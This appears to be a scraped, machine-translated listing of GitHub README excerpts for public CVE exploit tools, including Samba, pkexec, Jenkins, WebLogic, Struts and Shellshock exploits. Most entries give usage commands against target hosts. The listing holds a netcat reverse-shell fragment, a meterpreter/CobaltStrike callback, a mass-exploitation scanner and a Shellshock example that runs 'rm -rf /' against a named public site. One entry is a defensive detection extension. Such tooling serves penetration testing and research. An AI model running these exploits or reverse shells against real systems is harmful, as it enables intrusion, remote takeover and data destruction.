CVE-2007-2447

CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f 사용법 대상 10.129.232.46의 445번 포트를 공격하고, 10.10.14.82의 443번 포트로 리버스 셸 전송 python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 사용자 지정 rport 및 lport 사용 python3 CVE-2007-2447.py --rhost 10.129.232.46 --rport 4445 --lhost 10.10.14.82...

cve-2021-4034

CVE-2021-4034 이 도구는 pkexec에서 단일 명령 실행 을 위해 사용됩니다. POC whoami test@localhost cc$ ./a.out /usr/bin/whoami execute success : root ping 8.8.8.8 test@localhost cc$ ./a.out /usr/bin/ping 8.8.8.8 execute success : PING 8.8.8.8 8.8.8.8 5684 bytes of data. 64 bytes from 8.8.8.8: icmpseq=1 ttl=114 time=61....

CVE-2022-30781

🍵 CVE-2022-30781 Gitea リポジトリマイグレーションにおけるリモートコマンド実行のエクスプロイト。 使い方 1. このリポジトリ内のファイルを使ってHTTPファイルシステムサーバーを実行します。 2. api/v1/repos/e99/exp/pulls/1/index.html L96 で実行するコマンドを編集します。 3. Giteaインスタンス上で、URL http:///e99/exp を使ってリモートリポジトリをマイグレーションします。 4. Pwnned! 参考 https://tttang.com/archive/1607/ 中国語 クレジット...

CVE-2024-23897

CVE-2024-23897 - Jenkins 임의 파일 읽기 도구 설치 CVE-2024-23897는 go 1.21이 필요합니다. 다음 명령을 실행하여 설치합니다. go install github.com/wjlin0/CVE-2024-23897/cmd/CVE-2024-23897@latest 또는 설치가 완료된 바이너리 파일은 release에서 다운로드할 수 있습니다. macOS-arm64 macOS-amd64 linux-amd64 windows-amd64 windows-386 사용 CVE-2024-23897 -help...

SyncShield

🔐 SyncShield — CVE-2018-5764 탐지를 위한 브라우저 확장 프로그램 안전하지 않은 Rsync 명령이 익스플로잇이 되기 전에 탐지하세요 Final Year Project NWS/129/23B 의 일환으로 개발된 가볍고 개인정보 보호 중심의 브라우저 확장 프로그램으로, Rsync 명령에서 누락된 --protect-args 플래그를 탐지하여 CVE-2018-5764 를 통한 원격 명령 실행을 방지합니다. ✅ 완전히 오프라인에서 작동 ✅ 서버 연결 또는 데이터 수집 없음 ✅ 실시간 스캔 및 알림 ✅ 교육 및 완화 ...

CVE-2019-2729

CVE-2019-2729 Эксплойт для CVE-2019-2729 Oracle Weblogic, работающий на Windows. Может создать обратный вызов к слушателю CobaltStrike или обработчику Metasploit с полезной нагрузкой windows/meterpreter/reversetcp Также имеется эксплойт non-beacon, который просто выполняет команды на базовом хост...

ShockZaum-CVE-2014-6271

CVE-2014-6271 셸쇼크 취약점 공격 스크립트 ! Usage: ./ShockZaum -u 'https://nasa.gov' -c 'rm -rf /' -p '/cgi-bin/aliens.cgi'...

CVE-2017-11882

CVE-2017-11882 43b 원본 스크립트는 https://github.com/embedi/CVE-2017-11882 에서 가져왔습니다 109b 원본 스크립트는 https://github.com/unamer/CVE-2017-11882/ 에서 가져왔습니다 경의를 표합니다, 이제 unamer의 코드는 shellcode를 실행할 수 있습니다 CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ MITRE CVE-2017-11882:...

cve-2020-0688

cve-2020-0688 CVE-2020-0688을 보다 신속하게 수행하기 위해 이 스크립트를 만들었습니다. 취약점 확인을 개선하는 데 도움이 되며, 그 과정에서 많은 단계를 크게 줄여줍니다. 파일을 실행하기 전에 다음 입력 값들을 수정하십시오. url = "https://mail.something.com" input 1 command = "cmd /c echo OOOPS!!! c:/truongtn.txt" input2 aspsession = "1111a11c-11ad-1c11-1111-1111122f5977" input3\ ...

CVE-2017-10271

CVE-2017-10271 CVE-2017-10271 Выполнение команд с выводом Прямая загрузка shell Протестировано на weblogic 10.3.6.0 под Linux — OK Использование и параметры python weblogicwlswsatexp.py -t IP:7001 usage: weblogicwlswsatexp.py -h -t TARGET -c CMD -o OUTPUT -s SHELL optional arguments: -h, --help...

CVE-2020-8559

Kubernetes CVE-2020-8559 개념 증명 PoC 익스플로잇 이것은 데모 목적으로만 사용됩니다. 관리 작업을 수행할 권한이 있고 CVE-2020-8559을 악용할 권한이 있는 시스템에서만 사용하십시오. 이것은 CVE-2020-8559에 대한 PoC입니다. 이 취약점은 공격자가 노드에서 root를 획득한 경우 클러스터의 다른 컨테이너에서 명령을 실행할 수 있게 하여 Kubernetes 마스터 노드를 장악할 수 있게 합니다. 이 취약점은 Kubernetes API 서버와 kubectl 명령이 HTTP 리디렉션을 따르는...

CVE-2019-12725-modified-exp

CVE-2019-12725-modified-exp Изменено для исправления ошибок и выполнения команд с более высокими привилегиями, также удалено sleep13 из оригинального скрипта для экономии времени. Ссылки: https://www.modb.pro/db/120391 https://www.exploit-db.com/exploits/49862...

strutsy

Strutsy Strutsy - Apache Struts CVE-2017-5638 취약점의 대량 익스플로잇 도구입니다. 블라인드 및 시간 기반 코드 인젝션 기술을 포함하여 위음성false negative을 크게 줄입니다. 다른 기능으로는 한 번에 여러 대상을 스캔할 수 있는 대량 URL 가져오기가 있습니다. 사용법: python strutsy.py urls.txt windows/linux/default ip-address 모든 매개변수는 필수입니다. 1. urls.txt - 테스트할 URL이 포함된 파일입니다. 2...

CVE-2022-1388

CVE-2022-1388 CVE-2022-1388 POCエクスプロイト 使用法 usage: exploit.py -h -t TARGET -l LIST -c COMMAND optional arguments: -h, --help show this help message and exit -t TARGET, --target TARGET The IP address of the target, eg: 127.0.0.1:9443 -l LIST, --list LIST List of target url saperated with new line -...

CVE-2024-55963

CVE‑2024‑55963 Appsmith RCE PoC PoC 익스플로잇으로, 취약한 Appsmith 인스턴스에서 임의 명령 실행 또는 리버스 셸을 생성합니다. 이 스크립트는 environmentId 기능이 있는 최신 서버와 그 이전의 "레거시" 빌드를 모두 자동으로 처리하므로, v1.20 부터 마지막 취약 버전인 v1.51 까지의 모든 버전에서 하나의 스크립트로 사용할 수 있습니다. 빠른 시작 임의 명령 실행 기본값은 id python3 appsmith-rce.py https://target.example.com...

CVE-2024-4577

CVE-2024-4577 usage: CVE-2024-4577.py -h -v RHOST RPORT URL COMMAND PHP CGI CVE-2024-4577 PoC. Reference: https://nvd.nist.gov/vuln/detail/CVE-2024-4577 positional arguments: RHOST remote host RPORT remote port URL target address COMMAND command to execute e.g. optional arguments: -h, --help show...

CVE-2021-21985_PoC

脆弱性の詳細 VMWARE VCENTER SERVER VIRTUAL SAN HEALTH CHECK PLUG-IN の RCE（CVE-2021-21985） vSphere Client（HTML5）には、vCenter Server プラグインにリモートコード実行の脆弱性が存在します。ポート 443 へのネットワークアクセスを持つ悪意のある攻撃者は、この問題を悪用して、vCenter Server をホストする基盤となるオペレーティングシステム上で無制限の権限でコマンドを実行できる可能性があります。この脆弱性は、VMware vCenter Server（7.0 U2b より...

pythonprojects-CVE-2018-10933

pythonprojects-CVE-2018-10933 CVE-2018-10933 이 스크립트는 CVE-2018-10933 취약점을 악용합니다 Linux에서 동작. 이 스크립트를 실행하려면 paramiko 파이썬 모듈이 필요합니다. 아래 명령어를 사용하여 paramiko를 설치해 주세요. pip install paramiko paramiko가 설치되면, 스크립트를 다음과 같이 실행할 수 있습니다: python CVE-2018-10933.py 대상 IP/호스트명 대상 포트 명령어 참고: 제 작업이 마음에 드신다면 커피 한 잔...

exploit-CVE-2014-6271

эксплойт-CVE-2014-6271 docker run --rm -d -p :80 vulnerables/cve-2014-6271 sh exploit-cli.sh...

CVE-2022-29072

CVE-2022-29072 7-Zip до версии 21.07 в Windows позволяет повышение привилегий и выполнение команд, когда файл с расширением .7z перетаскивается в область HelpContents. Неопределенность Существует значительная неопределенность относительно этого CVE в общественности. В деталях уязвимости NIST...